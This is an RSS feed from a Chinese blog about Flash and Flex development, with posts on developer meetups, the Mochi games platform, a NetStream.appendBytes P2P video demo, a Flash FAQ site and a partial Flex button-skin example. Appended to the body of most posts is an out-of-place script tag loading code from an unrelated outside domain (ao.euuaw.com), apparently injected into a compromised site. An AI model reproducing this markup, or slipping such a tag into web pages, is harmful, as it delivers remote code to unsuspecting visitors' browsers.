<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kingnare Blog &#187; FLEX</title>
	<atom:link href="http://www.kingnare.com/auzn/archives/category/flex/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kingnare.com/auzn</link>
	<description>Life &#38; Flash</description>
	<lastBuildDate>Tue, 13 Jul 2010 06:01:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>第4次中国 Flash专家交流会(7月24日-广州)</title>
		<link>http://www.kingnare.com/auzn/archives/786</link>
		<comments>http://www.kingnare.com/auzn/archives/786#comments</comments>
		<pubDate>Tue, 13 Jul 2010 06:01:50 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>
		<category><![CDATA[swfsh flash]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=786</guid>
		<description><![CDATA[<p class="MsoNormal" style="text-align: center; margin-bottom: 9pt;">第四期FLASH专家交流会 7月24日 广州东方国际饭店</p>
<p class="MsoNormal" style="text-align: center;">活动主题: 新技术和开发经验</p>
<p>免费参加，座位有限，报名请点击 http://www.swfsh.com</p>
<p>中国FLASH开发者交流会是一个双月定期举行的开发者交流会，在上海已经成功的举办了三届了，共有近600名FLASH专业开发者参加。</p>
<p>7月24日，第四届FLASH开发者交流会将于广州东方国际饭店举行，这次将聚集来自广东、深圳、厦门地区的近两百位FLASH开发者出席，这次会议议程主要是对Flash-MMORPG游戏引擎及工具开发概述、Flash游戏应用框架和模块开发、Flash的Socket通讯等几方面的剖析。</p>
<p>想了解活动议程，请登录活动网站http://www.swfsh.com
加入官方QQ群（77468146）以了解更多关于交流会活动的最新信息</p>
<p>活动地点：广州市广州大道中1418号，广州东方国际饭店13楼A厅
酒店电话：020-37233888</p>
在上海已经成功的举办了三届了，共有近600名FLASH专业开发者参加
<p></p>
]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: center; margin-bottom: 9pt;"><span><strong><span style="text-transform: uppercase; font-size: 15pt;">第四期</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;" lang="EN-US">FLASH</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;">专家交流会</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;" lang="EN-US"> 7</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;">月</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;" lang="EN-US">24</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;">日</span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;"> </span></strong><strong><span style="text-transform: uppercase; font-size: 15pt;">广州东方国际饭店</span></strong><strong></strong></span></p>
<p class="MsoNormal" style="text-align: center;"><span><strong><span style="text-transform: uppercase; font-size: 14pt;">活动主题</span></strong><strong><span style="text-transform: uppercase; font-size: 14pt;" lang="EN-US">:</span></strong><span style="font-size: 14pt;" lang="EN-US"> </span><strong><span style="text-transform: uppercase; font-size: 14pt;">新技术和开发经验</span></strong><strong></strong></span></p>
<p>免费参加，座位有限，报名请点击 <span lang="EN-US"><span><a href="http://www.swfsh.com/" target="_blank"><span>http://www.swfsh.com</span></a></span></span></p>
<p>中国FLASH开发者交流会是一个双月定期举行的开发者交流会，<span lang="EN-US"><a href="http://events.swfsh.com/" target="_blank"><span lang="EN-US"><span lang="EN-US">在上海已经成功的举办了三届了，共有近600</span></span><span lang="EN-US"><span lang="EN-US">名FLASH</span></span><span lang="EN-US"><span lang="EN-US">专业开发者参加</span></span></a></span>。</p>
<p>7月24日，第四届FLASH开发者交流会将于广州东方国际饭店举行，这次将聚集来自广东、深圳、厦门地区的近两百位FLASH开发者出席，这次会议议程主要是对<strong><span style="text-decoration: underline;"><span lang="EN-US">Flash-MMORPG</span>游戏引擎及工具开发概述、<span lang="EN-US">Flash</span>游戏应用框架和模块开发、<span lang="EN-US">Flash</span>的<span lang="EN-US">Socket</span>通讯</span></strong>等几方面的剖析。</p>
<p>想了解活动议程，请登录活动网站<span lang="EN-US"><span><a href="http://www.swfsh.com/" target="_blank"><span>http://www.swfsh.com</span></a></span></span><br />
加入官方QQ群（77468146）以了解更多关于交流会活动的最新信息</p>
<p>活动地点：广州市广州大道中1418号，广州东方国际饭店13楼A厅<br />
酒店电话：020-37233888</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;"><span lang="EN-US"><a href="http://events.swfsh.com/" target="_blank"><span lang="EN-US"><span lang="EN-US">在上海已经成功的举办了三届了，共有近600</span></span><span lang="EN-US"><span lang="EN-US">名FLASH</span></span><span lang="EN-US"><span lang="EN-US">专业开发者参加</span></span></a></span></div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/786/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>成就你的游戏梦</title>
		<link>http://www.kingnare.com/auzn/archives/766</link>
		<comments>http://www.kingnare.com/auzn/archives/766#comments</comments>
		<pubDate>Tue, 06 Jul 2010 04:42:00 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=766</guid>
		<description><![CDATA[<p>&#160;&#160;&#160;&#160;&#160;&#160;盛大游戏，国内知名游戏公司，拥有国内最丰富的自主知识产权网络游戏的产品线，向用户提供包括大型多人在线角色扮演游戏（MMORPG）、高级休闲游戏等多样化的网络游戏产品，满足各类用户的普遍娱乐需求(参考百度百科). 6月30日， 盛大正式推出全新游戏平台： Mochi（麻球网）。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;此前， 盛大在2010年初以8000万美元收购Mochi Media。Mochi Media是全球最大的网络游戏分销平台，在国内外拥有众多的游戏玩家及合作伙伴，并且有着完善的游戏广告及支付体系。当时Mochi就已经运营有15000余款游戏，网络上的游戏玩家每月为1.4亿，其中有2900万来自中国。可以说是业绩斐然。盛大在收购Mochi之后立即推出了Mochi游戏开发者基金， 投入一千万美元帮助有发展潜力的游戏开发者。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;经过半年多的策划，整合及测试，崭新的游戏平台Mochi问世了。集成了广告分享， 数据分析， 钱币管理， 积分排行， 社交网络等大量的API，此外还有多种游戏发行渠道及更新方式。对于开发者， 只需专心研发游戏，其他的一切均可交给Mochi来做， 轻轻松松赚钱。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;我们再来谈谈Flash游戏。 最早出现的是单机小游戏，无需与他人交互。此类游戏数量众多，内容丰富多样。随着Flash技术的发展，甚至有高手用Flash开发出FC模拟器， 可重温当年的许多经典游戏而不用重新编写。这类单机小游戏主要集中在一些游戏收集站点上。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;随着近几年来SNS剧烈升温，与其相辅相成的社交休闲型网页游戏越来越受到大家的喜爱，老少皆宜， 玩家团体如滚雪球般增长。网页游戏对比大型网络游戏上手容易， 操作简单， 界面友好，是普通玩家的选择。 即使是大型网游的骨灰级玩家，同样对网页游戏爱不释手，足见其独特的魅力和巨大的发展空间。风投们纷纷将绣球抛给如雨后春笋般出现的网页游戏公司及团队，网页游戏逐年壮大，市场渐渐成熟。独立推广自身游戏的国内公司少之又少， 大多数是依托了人气较高的SNS网站， 如Facebook，人人网。利用其内部的虚拟货币交易系统获得分成。由于单机小游戏在“社交”方面并不擅长，在SNS中没有占据较大比例。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;总之，网页游戏十分火爆，这是继Flash在广告，网站，动画，网页视频领域后的又一次冲击。大量的IT从业者转职为Flash游戏开发工程师足可以看出这一点来。当然，游戏使用什么技术实现，依托什么平台推广玩家是不会关心的， 而对于我们游戏开发商或个人却是至关重要的，重中之重就是收益。而Mochi替我们解决了这些麻烦问题，除了虚拟货币交易系统，还引入了在SNS中少有的广告分成，给了苦于获利的广大单机小游戏开发者一条黄金之路。当然， 社交型游戏也可以走这条黄金之路，Mochi会免费为您推广到主流社交网站。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;Mochi提供了较为完善的API，积极分享游戏体验与开发技术，在她的协助你可以快速完成一款精美的游戏。如果策划足够好，Mochi也许会在资金方面帮助你，参见上面提到的开发者基金。</p>
<p></p>
<p>（Mochi API及开发者基金简介界面）</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;您可以访问麻球网查阅您最想了解的信息。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;说了这么多，你是否动心了呢？曾因服务器，软硬件，推广等等原因不得不深埋心底的游戏梦想，或许今天在Mochi的帮助下就能实现。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;近期麻球网还将与Adobe公司合作，举办首届开发者大赛，奖金或达到10万元。国内RIA大站天地会将作为这次大赛的协办单位（消息来自9RIA.COM）。另：麻球的多人游戏接口正在计划中，减少接口功能方面的束缚， 充分发挥游戏策划者的思想。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;你可能看出来这是一篇推广Mochi的文章，我不否认。Mochi能给广大游戏开发商或个人带来切实利益，为什么不推广她呢。快些来吧，将你的游戏与Mochi分享，与全世界的玩家分享（他们会分享给你真正的美刀）。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;游戏梦想之城期待着你的入住！</p>
<p>(感谢Y-Boy指出BUG  )</p>
]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.shandagames.com/">盛大游戏</a>，国内知名游戏公司，拥有国内最丰富的自主知识产权网络游戏的产品线，向用户提供包括大型多人在线角色扮演游戏（MMORPG）、高级休闲游戏等多样化的网络游戏产品，满足各类用户的普遍娱乐需求(参考百度百科). 6月30日， 盛大正式推出全新游戏平台： <a href="http://www.mochimedia.com/">Mochi</a>（<a href="http://zh-cn.mochimedia.com/">麻球网</a>）。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此前， 盛大在2010年初以8000万美元收购Mochi Media。Mochi Media是全球最大的网络游戏分销平台，在国内外拥有众多的游戏玩家及合作伙伴，并且有着完善的游戏广告及支付体系。当时<a href="http://www.mochimedia.com/">Mochi</a>就已经运营有15000余款游戏，网络上的游戏玩家每月为1.4亿，其中有2900万来自中国。可以说是业绩斐然。盛大在收购<a href="http://www.mochimedia.com/">Mochi</a>之后立即推出了<a href="http://zh-cn.mochimedia.com/developers/fund.html">Mochi游戏开发者基金</a>， 投入一千万美元帮助有发展潜力的游戏开发者。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;经过半年多的策划，整合及测试，崭新的游戏平台<a href="http://www.mochimedia.com/">Mochi</a>问世了。集成了<a href="http://zh-cn.mochimedia.com/developers/ads.html">广告分享</a>， <a href="http://zh-cn.mochimedia.com/developers/analytics.html">数据分析</a>， <a href="http://zh-cn.mochimedia.com/developers/coins.html">钱币管理</a>， <a href="http://zh-cn.mochimedia.com/developers/scores.html">积分排行</a>， <a href="http://zh-cn.mochimedia.com/developers/social.html">社交网络</a>等大量的API，此外还有多种<a href="http://zh-cn.mochimedia.com/developers/distribution.html">游戏发行</a>渠道及<a href="http://zh-cn.mochimedia.com/developers/liveupdates.html">更新方式</a>。对于开发者， 只需专心研发游戏，其他的一切均可交给Mochi来做， 轻轻松松赚钱。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我们再来谈谈Flash游戏。 最早出现的是单机小游戏，无需与他人交互。此类游戏数量众多，内容丰富多样。随着Flash技术的发展，甚至有高手用Flash开发出FC模拟器， 可重温当年的许多经典游戏而不用重新编写。这类单机小游戏主要集中在一些游戏收集站点上。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;随着近几年来SNS剧烈升温，与其相辅相成的社交休闲型网页游戏越来越受到大家的喜爱，老少皆宜， 玩家团体如滚雪球般增长。网页游戏对比大型网络游戏上手容易， 操作简单， 界面友好，是普通玩家的选择。 即使是大型网游的骨灰级玩家，同样对网页游戏爱不释手，足见其独特的魅力和巨大的发展空间。风投们纷纷将绣球抛给如雨后春笋般出现的网页游戏公司及团队，网页游戏逐年壮大，市场渐渐成熟。独立推广自身游戏的国内公司少之又少， 大多数是依托了人气较高的SNS网站， 如<a href="http://www.facebook.com/">Facebook</a>，<a href="http://www.renren.com/">人人网</a>。利用其内部的虚拟货币交易系统获得分成。由于单机小游戏在“社交”方面并不擅长，在SNS中没有占据较大比例。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;总之，网页游戏十分火爆，这是继Flash在广告，网站，动画，网页视频领域后的又一次冲击。大量的IT从业者转职为Flash游戏开发工程师足可以看出这一点来。当然，游戏使用什么技术实现，依托什么平台推广玩家是不会关心的， 而对于我们游戏开发商或个人却是至关重要的，重中之重就是收益。而<a href="http://www.mochimedia.com/">Mochi</a>替我们解决了这些麻烦问题，除了虚拟货币交易系统，还引入了在SNS中少有的广告分成，给了苦于获利的广大单机小游戏开发者一条黄金之路。当然， 社交型游戏也可以走这条黄金之路，<a href="http://www.mochimedia.com/">Mochi</a>会免费为您推广到主流社交网站。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mochimedia.com/">Mochi</a>提供了较为完善的API，积极分享游戏体验与开发技术，在她的协助你可以快速完成一款精美的游戏。如果策划足够好，<a href="http://www.mochimedia.com/">Mochi</a>也许会在资金方面帮助你，参见上面提到的<a href="http://zh-cn.mochimedia.com/developers/fund.html">开发者基金</a>。</p>
<p><a href="http://www.kingnare.com/auzn/wp-content/uploads/2010/07/mochi.png"><img class="alignnone size-full wp-image-767" title="mochi" src="http://www.kingnare.com/auzn/wp-content/uploads/2010/07/mochi.png" alt="" width="661" height="508" /></a></p>
<p>（Mochi API及开发者基金简介界面）</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;您可以访问<a href="http://zh-cn.mochimedia.com/">麻球网</a>查阅您最想了解的信息。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;说了这么多，你是否动心了呢？曾因服务器，软硬件，推广等等原因不得不深埋心底的游戏梦想，或许今天在<a href="http://www.mochimedia.com/">Mochi</a>的帮助下就能实现。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;近期<a href="http://zh-cn.mochimedia.com/">麻球网</a>还将与<a href="http://ww.adobe.com/">Adobe</a>公司合作，举办首届开发者大赛，奖金或达到10万元。国内RIA大站<a href="http://www.9ria.com/">天地会</a>将作为这次大赛的协办单位（消息来自9RIA.COM）。另：麻球的多人游戏接口正在计划中，减少接口功能方面的束缚， 充分发挥游戏策划者的思想。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;你可能看出来这是一篇推广<a href="http://www.mochimedia.com/">Mochi</a>的文章，我不否认。<a href="http://www.mochimedia.com/">Mochi</a>能给广大游戏开发商或个人带来切实利益，为什么不推广她呢。快些来吧，将你的游戏与<a href="http://www.mochimedia.com/">Mochi</a>分享，与全世界的玩家分享（他们会分享给你真正的美刀）。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;游戏<a href="http://zh-cn.mochimedia.com/">梦想之城</a>期待着你的入住！</p>
<p>(感谢Y-Boy指出BUG <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/766/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>中国Flash开发者交流会，CS5中文发布会</title>
		<link>http://www.kingnare.com/auzn/archives/758</link>
		<comments>http://www.kingnare.com/auzn/archives/758#comments</comments>
		<pubDate>Tue, 18 May 2010 02:59:27 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=758</guid>
		<description><![CDATA[中国Flash开发者交流会第三次活动
<p>时间：5月30日， 上海</p>
<p>详情：http://swfsh.com/</p>

5月30日 第3次 FLASH开发者交流会火热报名中！

<p>经过紧张的筹办，第三次FLASH开发者交流会活动开始报名咯！请大家访问：www.swfsh.com</p>
<p>在这次的活动中，我们邀请到AsWing开源UI框架的作者iiley同学跟大家介绍他在FLASH独立游戏开发方面的经验和感受。</p>
<p>同时我们请来积木网的主程谢敏同学，谢敏采用FLEX框架一手开发了积木网网上电脑，谢敏将为我们带来FLEX框架的完整的开发经验谈（超多干货！！）。</p>
<p>在1月活动中，向大家介绍FLASH播放器性能优化经验的主持人谈熠同学将在这次的活动中给我们介绍如何在FLASH中运用元编程方法来提高代码效率和优化开发过程。</p>
<p>“开心宠物”和“升职记”的主程唐翎同学将告诉大家一种全新的FLASH程序的UI设计方式，使你的程序能够超灵活地支持皮肤设定</p>
<p>……</p>
<p>还有很多新鲜有益的主题，我们将不断地更新在网站上，请关注：www.swfsh.com</p>
#CS5  中文发布会#
<p>消息来自Y.Boy的围脖</p>
<p>时间：5月19日北京, 21日上海</p>
<p>活动内容：http://adobeevent.bizcom.com.cn/cs5launch/activity.jsp

<p></p>
]]></description>
			<content:encoded><![CDATA[<h3>中国Flash开发者交流会第三次活动</h3>
<p>时间：5月30日， 上海</p>
<p><strong>详情：</strong><a href="http://swfsh.com/" target="_blank">http://swfsh.com/</a></p>
<div>
<h2>5月30日 第3次 FLASH开发者交流会火热报名中！</h2>
<div>
<p>经过紧张的筹办，第三次FLASH开发者交流会活动开始报名咯！请大家访问：<a href="http://www.swfsh.com/">www.swfsh.com</a></p>
<p>在这次的活动中，我们邀请到AsWing开源UI框架的作者iiley同学跟大家介绍他在<strong>FLASH独立游戏开发</strong>方面的经验和感受。</p>
<p>同时我们请来积木网的主程谢敏同学，谢敏采用FLEX框架一手开发了积木网网上电脑，谢敏将为我们带来<strong>FLEX框架的完整的开发经验谈</strong>（超多干货！！）。</p>
<p>在1月活动中，向大家介绍FLASH播放器性能优化经验的主持人谈熠同学将在这次的活动中给我们介绍如何在<strong>FLASH中运用元编程方法</strong>来提高代码效率和优化开发过程。</p>
<p>“开心宠物”和“升职记”的主程唐翎同学将告诉大家一种<strong>全新的FLASH程序的UI设计方式</strong>，使你的程序能够超灵活地支持皮肤设定</p>
<p>……</p>
<p>还有很多新鲜有益的主题，我们将不断地更新在网站上，请关注：<a href="http://www.swfsh.com/">www.swfsh.com</a></p>
<h3><a href="http://t.qq.com/k/CS5%25E4%25B8%25AD%25E6%2596%2587%25E5%258F%2591%25E5%25B8%2583%25E4%25BC%259A">#CS5  中文发布会#</a></h3>
<p>消息来自Y.Boy的<strong><a title="YBoy(@IamYBoy)" href="http://t.qq.com/IamYBoy">围脖</a></strong></p>
<p>时间：5月19日北京, 21日上海</p>
<p><strong>活动内容：</strong><a href="http://adobeevent.bizcom.com.cn/cs5launch/activity.jsp" target="_blank">http://adobeevent.bizcom.com.cn/cs5launch/activity.jsp</a></div>
</div>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/758/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NetStream.appendBytes, 走向Flash P2P VOD的第一步</title>
		<link>http://www.kingnare.com/auzn/archives/750</link>
		<comments>http://www.kingnare.com/auzn/archives/750#comments</comments>
		<pubDate>Sun, 16 May 2010 06:13:15 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>
		<category><![CDATA[Flash Player 10.1 P2P appendBytes]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=750</guid>
		<description><![CDATA[<p>之前被告知可以自行实现Flash p2p的点播功能, 但一直疑惑, 印象中NetStream并未提供相关方法, 前天看订阅时发现的文章:</p>
ByteArray  Access to NetStream in Flash Player 10.1 [ by Thibault  Imbert ]
<p>进而找到文档:</p>
NetStream.html#appendBytes()
<p>看过上述两篇文章后, 对appendBytes这个方法有一定了解, 简单来讲就是在数据生成模式下提供NetStream音视频数据供其播放.</p>
<p>另: Jinni在微博中提到Flash P2P for VOD 的 Demo也快发布了, 之前有组织过多次的P2P直播, P2P文件下载测试, 如果你对这方面有兴趣, 可关注他的微博及BLOG.</p>
<p>下面是我山寨的例子(请使用Flash Player 10.1测试), 点击&#8221;File&#8221;按钮, 选择FLV文件, 文件数据加载到内存后开始播放.</p>
<p>P2PVODPlayer_First</p>
<p></p>
<p>Source:</p>
<p>P2PVODPlayer</p>
]]></description>
			<content:encoded><![CDATA[<p>之前被告知可以自行实现Flash p2p的点播功能, 但一直疑惑, 印象中NetStream并未提供相关方法, 前天看订阅时发现的文章:</p>
<h4><a title="Permalink to ByteArray Access to NetStream in Flash Player 10.1  &lt;font size='1'&gt;[ by Thibault Imbert ]&lt;/font&gt;" rel="bookmark" href="http://www.bytearray.org/?p=1689">ByteArray  Access to NetStream in Flash Player 10.1 <span style="font-size: xx-small;">[ by Thibault  Imbert ]</span></a></h4>
<p>进而找到文档:</p>
<h4><a title="NetStream.html#appendBytes()" href="http://help.adobe.com/zh_CN/Flash/CS5/AS3LR/flash/net/NetStream.html#appendBytes()" target="_blank">NetStream.html#appendBytes()</a></h4>
<p>看过上述两篇文章后, 对appendBytes这个方法有一定了解, 简单来讲就是在数据生成模式下提供NetStream音视频数据供其播放.</p>
<p>另: <a title="Jinni" href="http://t.sina.com.cn/jinni" target="_blank">Jinni</a>在微博中提到Flash P2P for VOD 的 Demo也快发布了, 之前有组织过多次的P2P直播, P2P文件下载测试, 如果你对这方面有兴趣, 可关注他的<a href="http://t.sina.com.cn/jinni" target="_blank">微博</a>及<a href="http://swfever.com/" target="_blank">BLOG</a>.</p>
<p>下面是我山寨的例子(请使用Flash Player 10.1测试), 点击&#8221;File&#8221;按钮, 选择FLV文件, 文件数据加载到内存后开始播放.</p>
<p><a href="http://www.kingnare.com/auzn/wp-content/uploads/2010/05/P2PVODPlayer.swf" target="_blank">P2PVODPlayer_First</a></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="320" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.kingnare.com/auzn/wp-content/uploads/2010/05/P2PVODPlayer.swf" /><embed type="application/x-shockwave-flash" width="480" height="320" src="http://www.kingnare.com/auzn/wp-content/uploads/2010/05/P2PVODPlayer.swf"></embed></object></p>
<p>Source:</p>
<p><a href="http://www.kingnare.com/auzn/wp-content/uploads/2010/05/P2PVODPlayer.zip" target="_blank">P2PVODPlayer</a><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/750/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Flash开发常见问题汇总站:SWFAQ.org</title>
		<link>http://www.kingnare.com/auzn/archives/743</link>
		<comments>http://www.kingnare.com/auzn/archives/743#comments</comments>
		<pubDate>Mon, 10 May 2010 01:03:47 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>
		<category><![CDATA[SWFAQ flash]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=743</guid>
		<description><![CDATA[<p></p>
<p>详见: 开发者互相帮助的 平台：围绕 SWF 的常见问题汇总 — SWFAQ.org</p>
介绍 SWFAQ.org：

目的：提 供一个 Flash 开发者互相帮助的平台，在最短时间内学会 Flash 。
这个网站汇总了不少关于 SWF 的常见问题，内容涵盖了 ActionScript3、Flash、Flex、算法 …
在这个网站，你既可以分享你曾经解决过的问题（自问自答），又可以提出问题让热心人去解决。
此网站定位在短小精悍的FAQ形式（内容点到即止），不以长篇大论为主（事实上，长篇大论会很累）。
SWFAQ.org 采用了审核制度，以保证发布内容的质量；在你发布内容后不会马上显示，但请放心审核时间不会很长。

<p>欢迎访问：SWFAQ.org</p>
<p>﻿相当好的帮助站  </p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://swfaq.org/"><img title="logo-login" src="http://www.kingnare.com/auzn/wp-content/uploads/2010/05/logo-login.gif" alt="" width="310" height="70" /></a></p>
<p>详见:<a href="http://riaoo.com/?p=1686"> 开发者互相帮助的 平台：围绕 SWF 的常见问题汇总 — SWFAQ.org</a></p>
<h3>介绍 SWFAQ.org：</h3>
<ul>
<li><strong>目的</strong>：<strong>提 供一个 Flash 开发者互相帮助的平台，在最短时间内学会 Flash</strong> 。</li>
<li>这个网站汇总了不少关于 SWF 的常见问题，内容涵盖了 ActionScript3、Flash、Flex、算法 …</li>
<li>在这个网站，你既可以分享你曾经解决过的问题（自问自答），又可以提出问题让热心人去解决。</li>
<li>此网站定位在短小精悍的FAQ形式（内容点到即止），不以长篇大论为主（事实上，长篇大论会很累）。</li>
<li>SWFAQ.org 采用了审核制度，以保证发布内容的质量；在你发布内容后不会马上显示，但请放心审核时间不会很长。</li>
</ul>
<p><strong>欢迎访问：<a title="围绕 SWF 的常见问题汇总" href="http://swfaq.org/" target="_blank">SWFAQ.org</a></strong></p>
<p>﻿相当好的帮助站 <img src='http://www.kingnare.com/auzn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kingnare.com/auzn/archives/743/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FB4做按钮皮肤</title>
		<link>http://www.kingnare.com/auzn/archives/727</link>
		<comments>http://www.kingnare.com/auzn/archives/727#comments</comments>
		<pubDate>Sun, 18 Apr 2010 09:24:39 +0000</pubDate>
		<dc:creator>kingnare</dc:creator>
				<category><![CDATA[FLEX]]></category>
		<category><![CDATA[FB4 skin]]></category>

		<guid isPermaLink="false">http://www.kingnare.com/auzn/?p=727</guid>
		<description><![CDATA[<p>

可以通过Flash Catalyst画好后再导出, 或者将Flash资源通过Image组件加载到Skin组件中.</p>

&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;s:SparkSkin xmlns:fx=&#34;http://ns.adobe.com/mxml/2009&#34; 
        xmlns:s=&#34;library://ns.adobe.com/flex/spark&#34; 
        xmlns:mx=&#34;library://ns.adobe.com/flex/mx&#34;
        &#62;
&#160;
    &#60;fx:Declarations&#62;
        &#60;!-- Place non-visual elements (e.g., services, value objects) here --&#62;
   [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.kingnare.com/auzn/wp-content/uploads/2010/04/tttt.png"><img src="http://www.kingnare.com/auzn/wp-content/uploads/2010/04/tttt.png" alt="" title="ksbutton" width="360px" height="161px"/></a><br />
<br/><br />
可以通过Flash Catalyst画好后再导出, 或者将Flash资源通过Image组件加载到Skin组件中.</p>

<div class="wp_syntax"><div class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;s:SparkSkin</span> xmlns:fx=<span style="color: #ff0000;">&quot;http://ns.adobe.com/mxml/2009&quot;</span> </span>
<span style="color: #000000;">        xmlns:s=<span style="color: #ff0000;">&quot;library://ns.adobe.com/flex/spark&quot;</span> </span>
<span style="color: #000000;">        xmlns:mx=<span style="color: #ff0000;">&quot;library://ns.adobe.com/flex/mx&quot;</span></span>
<span style="color: #000000;">        <span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;fx:Declarations</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #808080; font-style: italic;">&lt;!-- Place non-visual elements (e.g., services, value objects) here --&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/fx:Declarations</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;fx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
        [HostComponent(&quot;spark.components.Button&quot;)]
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/fx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;fx:Script</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;">&lt;!<span style="color: #66cc66;">&#91;</span>CDATA<span style="color: #66cc66;">&#91;</span></span>
&nbsp;
<span style="color: #000000;">        <span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#93;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/fx:Script</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;s:states</span><span style="color: #7400FF;">&gt;</span></span>
